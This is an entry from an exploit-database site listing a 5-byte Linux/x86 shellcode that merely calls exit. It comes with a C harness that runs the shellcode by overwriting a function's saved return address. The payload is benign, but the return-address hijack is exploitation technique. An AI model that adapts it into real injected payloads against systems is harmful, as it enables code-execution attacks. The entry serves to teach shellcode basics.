[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

linux/x86 normal exit w/ random (so to speak) return value 5 bytes

Author
izik
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-7142
Category
shellcode
Date add
21-01-2006
Platform
linux/x86
==================================================================
linux/x86 normal exit w/ random (so to speak) return value 5 bytes
==================================================================




/*
 * (linux/x86) normal exit w/ random (so to speak) return value - 5 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"\x31\xc0"              // xor %eax,%eax 
	"\x40"                  // inc %eax 
	"\xcd\x80";             // int $0x80 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}




#  0day.today [2024-12-24]  #